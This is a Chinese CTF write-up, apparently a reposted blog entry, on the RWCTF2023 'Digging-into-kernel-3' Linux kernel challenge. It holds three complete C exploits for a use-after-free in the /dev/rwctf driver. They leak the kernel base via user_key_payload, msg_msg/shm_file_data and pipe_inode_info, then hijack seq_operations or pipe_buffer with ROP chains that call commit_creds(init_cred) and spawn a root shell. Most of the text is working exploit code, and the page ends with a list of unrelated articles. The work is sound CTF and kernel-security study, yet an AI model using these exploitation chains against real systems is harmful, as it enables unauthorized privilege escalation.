【user_key_payload、msg_msg、pipe_buffer】再探RWCTF2023-Digging-into-kernel-3

news2024/12/28 20:38:51

前言

在之前的文章中,我利用 ldt_struct 去泄漏的内核基地址,但是在内核中还存在着一些结构体可以去泄漏内核基地址。

user_key_payload 越界读泄漏内核基地址

本题并没有开启 slab_freelist_random 保护,并且可以可以同时控制两个堆块,所以可以直接打。

这里采用 user_key_payload 越界读被释放的 user_key_payload 去泄漏内核基地址。当然你也可以选择读其他的,但是这题好像不能打开 /dev/ptmx,然后我看又有这个文件,权限也有,但是不知道为啥就是打不开。

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>

#define USER_FREE_PAYLOAD_RCU 0xFFFFFFFF813D8210
size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
size_t init_cred = 0xffffffff82850580;
size_t commit_creds = 0xffffffff81095c30;
size_t add_rsp_xx = 0xFFFFFFFF812A9811;// FFFFFFFF813A193A;
size_t swapgs_kpti = 0xFFFFFFFF81E00EF3;

struct node {
        int idx;
        int size;
        char* ptr;
};

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int rw_fd;
int seq_fd;
void add(int idx, int size, char* ptr)
{
        struct node n = { .idx = idx, .size = size, .ptr = ptr };
        ioctl(rw_fd, 0xDEADBEEF, &n);
//      if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
}

void dele(int idx)
{
        struct node n = { .idx = idx };
        ioctl(rw_fd, 0xC0DECAFE, &n);
}

int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen,
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int main(int argc, char** argv, char** env)
{
        bind_core(0);
        int res;
        size_t kernel_offset;
        size_t buf[0x100] = { 0 };

        rw_fd = open("/dev/rwctf", O_RDWR);
        if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");

        // freelist 0x40 : obj0 -> obj1 -> obj2
        add(0, 0x40, buf); // obj0
        add(1, 0x40, buf); // obj1
        // freelist 0x40 : obj2
        dele(1);
        dele(0);

        // freelist 0x40 : obj0 -> obj1 -> obj2
        int k0 = key_alloc("pwner0", buf, 0x40-0x18); // user_key_payload0 : obj1
        int k1 = key_alloc("pwner1", buf, 0x40-0x18); // user_key_payload1 : obj2

        // freelist 0x40 : obj0
        key_revoke(k1);
        // freelist 0x40 : obj2 -> obj0
        dele(1);
        // freelist 0x40 : obj1 -> obj2 -> obj0
        buf[0] = buf[1] = 0;
        buf[2] = 0x100*8;
        add(1, 0x40 , buf);
        // freelist 0x40 : obj2 -> obj0
        res = key_read(k0, buf, 0x100*8);
        kernel_offset = buf[6] - USER_FREE_PAYLOAD_RCU;
        binary_dump("user_key_payload data", buf, 0x100);
        hexx("kernel_offset", kernel_offset);

        puts("Hijack the Program Execution Flow");
        pop_rdi += kernel_offset;
        init_cred += kernel_offset;
        commit_creds += kernel_offset;
        swapgs_kpti += kernel_offset;
        add_rsp_xx += kernel_offset;
        hexx("add_rsp_xx", add_rsp_xx);

        add(0, 0x20, buf);
        dele(0);

        seq_fd = open("/proc/self/stat", O_RDONLY);
        dele(0);
        add(0, 0x20, &add_rsp_xx);

        asm(
        "mov r15, pop_rdi;"
        "mov r14, init_cred;"
        "mov r13, commit_creds;"
        "mov r12, swapgs_kpti;"
        );
        read(seq_fd, buf, 8);
        hexx("UID", getuid());
        system("/bin/sh");

        return 0;
}

msg_msg+shm_file_data 泄漏内核基地址

这里最开始我也是想利用 msg_msg 去泄漏内核基地址的,但是我一直在考虑越界读,而忽略了这里我们是有一个任意大小的 UAF,所以我们可以劫持一个大小为 0x20 的 msg_segment,然后将其分配到 shm_file_data,这样就可以直接读取 init_ipc_ns 了。

这里为什么是 shm_file_data 呢?因为 msg_segment 的第一个字段是 next,而在进行 msgrcv 时,终止读取的条件就是 msg_segment->next 为空,而 shm_file_data 刚好满足这个条件。

这里我也尝试分配到 seq_operations 结构体,但是其第一个字段为 single_start 不为 NULL,导致后面直接 panic。

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>

#define INIT_IPC_NS 0xffffffff829ac6c0
size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
size_t init_cred = 0xffffffff82850580;
size_t commit_creds = 0xffffffff81095c30;
size_t add_rsp_xx = 0xFFFFFFFF812A9811;// FFFFFFFF813A193A;
size_t swapgs_kpti = 0xFFFFFFFF81E00EF3;

struct node {
        int idx;
        int size;
        char* ptr;
};

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int rw_fd;
int seq_fd;
void add(int idx, int size, char* ptr)
{
        struct node n = { .idx = idx, .size = size, .ptr = ptr };
        ioctl(rw_fd, 0xDEADBEEF, &n);
//      if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
}

void dele(int idx)
{
        struct node n = { .idx = idx };
        ioctl(rw_fd, 0xC0DECAFE, &n);
}

struct msg_buf {
        long m_type;
        char m_text[1];
};

struct msg_header {
        void* l_next;
        void* l_prev;
        long m_type;
        size_t m_ts;
        void* next;
        void* security;
};

int main(int argc, char** argv, char** env)
{
        bind_core(0);
        int qid;
        int shm_id;
        char* shm_addr;
        size_t kernel_offset;
        size_t buf[0x620] = { 0 };
        struct msg_buf* msg = (struct msg_buf*)buf;

        rw_fd = open("/dev/rwctf", O_RDWR);
        if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");

        add(0, 0x20, buf);
        dele(0);

        qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT);
        msg->m_type = 1;
        memset(msg->m_text, 'A', 0x1020);
        msgsnd(qid, msg, 0x1020-0x30-0x8, 0);

        dele(0);
        if ((shm_id = shmget(IPC_PRIVATE, 0x1000, 0600)) == -1) err_exit("shmget");
        if ((shm_addr = shmat(shm_id, NULL, 0)) == -1) err_exit("shmat");

        msgrcv(qid, buf, 0x1020-0x30-8, 0, IPC_NOWAIT|MSG_NOERROR);

        binary_dump("msg data", (char*)buf+0xfd0, 0x100);
        kernel_offset = *(size_t*)((char*)buf+0xfd8) - INIT_IPC_NS;
        hexx("kernel_offset", kernel_offset);

        puts("Hijack the Program Execution Flow");
        pop_rdi += kernel_offset;
        init_cred += kernel_offset;
        commit_creds += kernel_offset;
        swapgs_kpti += kernel_offset;
        add_rsp_xx += kernel_offset;
        hexx("add_rsp_xx", add_rsp_xx);

        add(0, 0x20, buf);
        dele(0);

        seq_fd = open("/proc/self/stat", O_RDONLY);
        dele(0);
        add(0, 0x20, &add_rsp_xx);

        asm(
        "mov r15, pop_rdi;"
        "mov r14, init_cred;"
        "mov r13, commit_creds;"
        "mov r12, swapgs_kpti;"
        );
        read(seq_fd, buf, 8);
        hexx("UID", getuid());
        system("/bin/sh");

        return 0;
}

pipe_buffer 劫持程序执行流

这里是参考 ctf-wiki 上的做法,并且假设开启了一些保护,比如 SLAB_FREELIST_HARDENED,CONFIG_RANDOMIZE_KSTACK_OFFSET。

这时也是采用 user_key_payload 越界读去泄漏内核基地址。但是我发现虽然 ctf-wiki 上前面是利用的堆喷搞的,但是最后劫持 pipe_buffer 时还是假设的没开相应的保护,所以直接单纯的利用堆喷去拿到 UAF 堆块给 user_key_payload 结构体。

然后的关键点就是,通过 pipe_buffer 劫持程序执行流其实就是伪造其 pipe_buf_operations 函数表,但是题目开启了 smap 保护,所以我们又不能直接将函数表伪造在用户空间,那么我们伪造在那里呢?

所以这里我们需要一个内核空间,要求这块空间可控并且知道其地址。这里我们选择 pipe_buffer。我们可以通过让 pipe_inode_info 与 user_key_payload 占用同一个堆块去泄漏 pipe_buffer 的地址,这里要注意的是 pipe_inode_info 会将 user_key_payload 的 datalen 字段覆盖为 0xffff。

当然这里你也可以用 user_key_payload 越界读去泄漏 pipe_buffer 的地址,只是这里可能需要堆喷一下 pipe_buffer,但是可能会比较难,因为我们还有控制 pipe_buffer,所以这里命中的机会可能不是很高。

这里我用堆喷 user_key_payload 去泄漏内核基地址,发现非常不稳定,但是 ctf-wiki 上的脚本是稳定的。所以这里我就不堆喷了......

 这里我们选择劫持 pipe_buf_operations->release,当我们关闭管道两端时就会调用这个函数。

struct pipe_buf_operations {
	
	int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);

	
	void (*release)(struct pipe_inode_info *, struct pipe_buffer *);

	bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);

	bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

可以看到执行 release 时,rdi 指向的是 pipe_inode_info,rsi 指向的时 pipe_buffer,这里我们选择将内核栈迁移到 pipe_buffer 上,之所以不迁移到 pipe_inode_info 中是因为其里面保存这 pipe_buffer 指针,且其大小只有 192,所以你写的时候会覆盖 pipe_buffer 指针。

然后这里的 gadget 给我一顿好好,最后直接用 ctf-wiki 上面的,实在没找到......

最后这里直接调用 system("/bin/sh") 会出现段错误,没探究原因,大家可以自己调试一些。我直接使用的 execve 函数去启一个 shell。

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>

#define USER_FREE_PAYLOAD_RCU 0xFFFFFFFF813D8210
size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
size_t init_cred = 0xffffffff82850580;
size_t commit_creds = 0xffffffff81095c30;
size_t swapgs_kpti = 0xFFFFFFFF81E00F01;
size_t push_rsi_pop_rsp_pop_3 = 0xffffffff81250c9d; // PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET

struct node {
        int idx;
        int size;
        char* ptr;
};

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


void get_root_shell()
{
        hexx("UID", getuid());
//      system("/bin/sh");
        char *args[] = {"/bin/sh", NULL};
        execve("/bin/sh", args, NULL);
}

size_t user_cs, user_rflags, user_rsp, user_ss;
void save_status()
{
        asm(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_rsp, rsp;"
        "pushf;"
        "pop user_rflags;"
        );
        info("Status saved successfully");
}

int rw_fd;
int seq_fd;
void add(int idx, int size, char* ptr)
{
        struct node n = { .idx = idx, .size = size, .ptr = ptr };
        ioctl(rw_fd, 0xDEADBEEF, &n);
//      if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
}

void dele(int idx)
{
        struct node n = { .idx = idx };
        ioctl(rw_fd, 0xC0DECAFE, &n);
}

int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen,
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_read(int keyid, char *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int main(int argc, char** argv, char** env)
{
        bind_core(0);
        save_status();

        int key[2];
        int pipe_key;
        int pipe_fd[2];
        char des[100];
        size_t n;
        size_t kernel_offset;
        size_t pipe_buffer;
        size_t* buf;

        rw_fd = open("/dev/rwctf", O_RDWR);
        if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");
        buf = (size_t*)mmap(NULL, 0x1000*16, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

        add(0, 0x40, buf);
        add(1, 0x40, buf);
        dele(1);
        dele(0);

        key[0] = key_alloc("pwn0", buf, 0x40-0x18);
        key[1] = key_alloc("pwn1", buf, 0x40-0x18);

        dele(1);
        buf[0] = buf[1] = 0;
        buf[2] = 0x100*8;
        add(1, 0x40, buf);

        key_revoke(key[1]);
        key_read(key[0], buf, 0x100*8);
        binary_dump("user_key_payload", buf, 0x100);
        kernel_offset = buf[6] - USER_FREE_PAYLOAD_RCU;
        hexx("kernel_offset", kernel_offset);

        add(0, 192, buf);
        add(1, 192, buf);
        dele(1);
        dele(0);

        pipe_key = key_alloc("pwnerer", buf, 192-0x18);
        if (pipe_key < 0) err_exit("key_alloc pipe_key");

        add(0, 1024, buf);
        dele(0);
        dele(1);

        pipe(pipe_fd);

        n = key_read(pipe_key, buf, 0xffff);
        hexx("key_read len", n);
        binary_dump("pipe_inode_info", buf, 192-0x18);
        pipe_buffer = buf[16];
        hexx("pipe_buffer addr", pipe_buffer);

        size_t rop[] = {
                0,
                0,
                pipe_buffer+0x18,
                pop_rdi+kernel_offset,
                push_rsi_pop_rsp_pop_3+kernel_offset,
                pop_rdi+kernel_offset,
                init_cred+kernel_offset,
                commit_creds+kernel_offset,
                swapgs_kpti+kernel_offset,
                0,
                0,
                get_root_shell,
                user_cs,
                user_rflags,
                user_rsp,
                user_ss
        };
        binary_dump("ROP chain", rop, sizeof(rop));
        memcpy(buf, rop, sizeof(rop));
        dele(0);
        add(0, 1024, buf);

        close(pipe_fd[1]);
        close(pipe_fd[0]);

        return 0;
}

效果如下,三个脚本均可成功提权:

总结

其实 ldt_struct、user_key_payload、msg_msg 是比较常用的实现越界读和任意读的结构体,其中 ldt_struct 大小固定(0x10 slub/0x20 slab),而 user_key_payload 与 msg_msg 的大小是不固定的,但是有固定的头字段。

然后劫持程序执行流主要就是 seq_operations、tty_struct、pipe_buffer等结构体,目前我就主要接触到这三个。

然后用于泄漏内核基地址的结构体主要有 shm_file_data、user_key_payload、seq_operations、tty_struct 等等结构体,目前主要接触到这些。其中 user_key_payload 是得将 key 销毁后,其 rcu.func 会被赋值为 user_free_payload_rcu() 以此来进行泄漏。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1062835.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[图论]哈尔滨工业大学(哈工大 HIT)学习笔记16-22

视频来源&#xff1a;2.7.1 补图_哔哩哔哩_bilibili 目录 1. 补图 1.1. 补图 2. 双图 2.1. 双图定理 3. 图兰定理/托兰定理 4. 极图理论 5. 欧拉图 5.1. 欧拉迹 5.2. 欧拉闭迹 5.3. 欧拉图 5.4. 欧拉定理 5.5. 伪图 1. 补图 1.1. 补图 &#xff08;1&#xff09;…

使用图形视图框架(Graphics View Framework)在QML中创建交互式图形界面

使用图形视图框架(Graphics View Framework)在QML中创建交互式图形界面 使用图形视图框架(Graphics View Framework)在QML中创建交互式图形界面 使用图形视图框架(Graphics View Framework)在QML中创建交互式图形界面什么是图形视图框架(Graphics View Framework)&#xff1f;…

MATLAB算法实战应用案例精讲-【优化算法】沙丁鱼优化算法(SOA)(附MATLAB代码实现)

前言 沙丁鱼优化算法(Sardine optimization algorithm,SOA)由Zhang HongGuang等人于2023年提出,该算法模拟沙丁鱼的生存策略,具有搜索能力强,求解精度高等特点。 沙丁鱼主要以浮游生物为食,这些生物包括细菌、腔肠动物、软体动物、原生动物、十足目、幼小藤壶、鱼卵、甲藻…

cartographer-(0)-ubuntu(20.04)-环境安装

1.安装 ROS wiki.ros.org 1.1修改镜像源&#xff1a; 到网站上找与操作系统相匹配的镜像源 ubuntu | 镜像站使用帮助 | 清华大学开源软件镜像站 | Tsinghua Open Source Mirror # 默认注释了源码镜像以提高 apt update 速度&#xff0c;如有需要可自行取消注释 deb htt…

MySQL基础-事务

目录 1.事务简介 2.事务的操作 2.1 实验需要用到的数据 2.2 完成转账操作 修改事务执行方式 手动开启事务的方式 3.事务的四大特性 4.并发事务问题 1.事务简介 事务是一组操作的集合&#xff0c;它是一个不可分割的工作单位&#xff0c;事务会把所有的操作作为一个整体一…

【开发篇】十五、Spring Task实现定时任务

文章目录 1、使用示例2、相关配置3、Scheduled注解4、Spring Task单线程下的阻塞坑5、Spring Task阻塞问题的处理思路6、Spring Task在分布式环境中 上一篇用Quartz来实现了定时任务&#xff0c;但相对来说&#xff0c;这个框架还是比较繁琐。Spring Boot默认在无任何第三方依赖…

一天销量200万,国产5G手机20天才200万,挑战iPhone也就想想罢了

国产5G手机频频放话要挑战iPhone&#xff0c;不过现实却相当打脸&#xff0c;果粉对苹果的忠诚丝毫没有受到影响&#xff0c;销量是最直接的表现&#xff0c;那就是国产5G手机20天才卖出200万部&#xff0c;而这仅仅是iPhone15一天的销量。 iPhone15在发布前曾拉高了消费者的期…

【应用层协议】初始Http,fiddler的使用

文章目录 1. HTTP概念2. 下载fiddler及使用获得HTTP协议格式2.1 fiddler的下载2.2 fiddler使用 3. HTTP请求&#xff08;Request&#xff09;3.1 请求行3.1.1 URL3.1.2 方法3.1.2.1 GET3.1.2.2 POST3.1.2.3 其他方法 3.2 报头&#xff08;header&#xff09;3.3 空白行3.4 正文…

Django 模型层的操作(Django-05 )

一 模型层的解读 Django中内嵌了ORM框架&#xff0c;不需要直接编写SQL语句进行数据库操作&#xff0c;而是通过定义模型类&#xff0c;操作模型类来完成对数据库中表的增删改查和创建等操作。 O 是object&#xff0c;也就类对象的意思。R 是relation&#xff0c;翻译成中文是…

Python综合案例:学生管理系统

目录 需求说明&#xff1a; 功能&#xff1a; 创建入口函数&#xff1a; 实现菜单函数&#xff1a; 实现增删查操作&#xff1a; 1. 新增学生 2. 展示学生 3. 查找学生 4. 删除学生 加入存档读档&#xff1a; 1. 约定存档格式 2. 实现存档函数 3. 实现读档函数 打…

C#中的数组探究与学习

目录 C#中的数组一般分为:一.数组定义:为什么要使用数组?什么是数组?C#一维数组for和foreach的区别C#多维数组C#锯齿数组初始化的意义:适用场景:C#中的数组一般分为: ​①.一维数组。 ②.多维数组,也叫矩形数组。 ③.锯齿数组,也叫交错数组。 一.数组定义: 数组…

013-第二代上位机开发环境搭建

第二代上位机开发环境搭建 文章目录 第二代上位机开发环境搭建项目介绍虚拟机安装Debian 10文件传输远程调试VNCrsync下载安装验证 配置远程调试环境配置远程设备配置 kitsCompilers配置Qtversions配置kits 测试 总结一下 关键字&#xff1a; Qt、 Qml、 关键字3、 关键字4…

GitHub爬虫项目详解

前言 闲来无事浏览GitHub的时候&#xff0c;看到一个仓库&#xff0c;里边列举了Java的优秀开源项目列表&#xff0c;包括说明、仓库地址等&#xff0c;还是很具有学习意义的。但是大家也知道&#xff0c;国内访问GitHub的时候&#xff0c;经常存在访问超时的问题&#xff0c;…

云安全之等级保护解决方案及应用场景

等保2.0解决方案背景 适应云计算、移动互联网、大数据、物联网和工业控制等新技术发展&#xff0c;在新的技术场景能够顺利开展等级保护工作;《网络安全法》2016年已正式发布&#xff0c;等级保护2.0为了更好配合《网络安全法》的实施&#xff1b;等级保护1.0&#xff0c;在适…

U盘支持启动区+文件存储区的分区方法

准备新U盘 启动diskgenius &#xff0c;先建立一个主分区&#xff08;7G&#xff09;&#xff0c;剩余空间建立为第二分区&#xff0c;然后设定第二分区激活。 diskgenius格式化 用diskgenius格式化&#xff0c;在格式化的过程中有一个 写入dos系统的选项&#xff0c;在格式…

企业微信机器人对接GPT

现在网上大部分微信机器人项目都是基于个人微信实现的&#xff0c;常见的类库都是模拟网页版微信接口。 个人微信作为我们自己日常使用的工具&#xff0c;也用于支付场景&#xff0c;很怕因为违规而被封。这时&#xff0c;可以使用我们的企业微信机器人&#xff0c;利用企业微信…

抄写Linux源码(Day14:从 MBR 到 C main 函数 (3:研究 head.s) )

回忆我们需要做的事情&#xff1a; 为了支持 shell 程序的执行&#xff0c;我们需要提供&#xff1a; 1.缺页中断(不理解为什么要这个东西&#xff0c;只是闪客说需要&#xff0c;后边再说) 2.硬盘驱动、文件系统 (shell程序一开始是存放在磁盘里的&#xff0c;所以需要这两个东…

linux以太网(三).之netstat命令

引言&#xff1a; netstat命令是一个监控TCP/IP网络的非常有用的工具&#xff0c;它可以显示路由表、实际的网络连接以及每一个网络接口设备的状态信息 语法选项&#xff1a; netstat [选项] -a或--all&#xff1a;显示所有连线中的Socket&#xff1b; -A<网络类型>或…

JUC第十五讲:JUC集合-ConcurrentHashMap详解(面试的重点)

JUC第十五讲&#xff1a;JUC集合-ConcurrentHashMap详解 本文是JUC第十五讲&#xff1a;JUC集合-ConcurrentHashMap详解。JDK1.7之前的ConcurrentHashMap使用分段锁机制实现&#xff0c;JDK1.8则使用数组链表红黑树数据结构和CAS原子操作实现ConcurrentHashMap&#xff1b;本文…

跨站脚本攻击(XSS)以及如何防止它?

聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ 什么是跨站脚本攻击&#xff08;XSS&#xff09;&#xff1f;⭐ 如何防止XSS攻击&#xff1f;⭐ 写在最后 ⭐ 专栏简介 前端入门之旅&#xff1a;探索Web开发的奇妙世界 欢迎来到前端入门之旅&#xff01;感兴趣的可以订阅本专栏哦&#…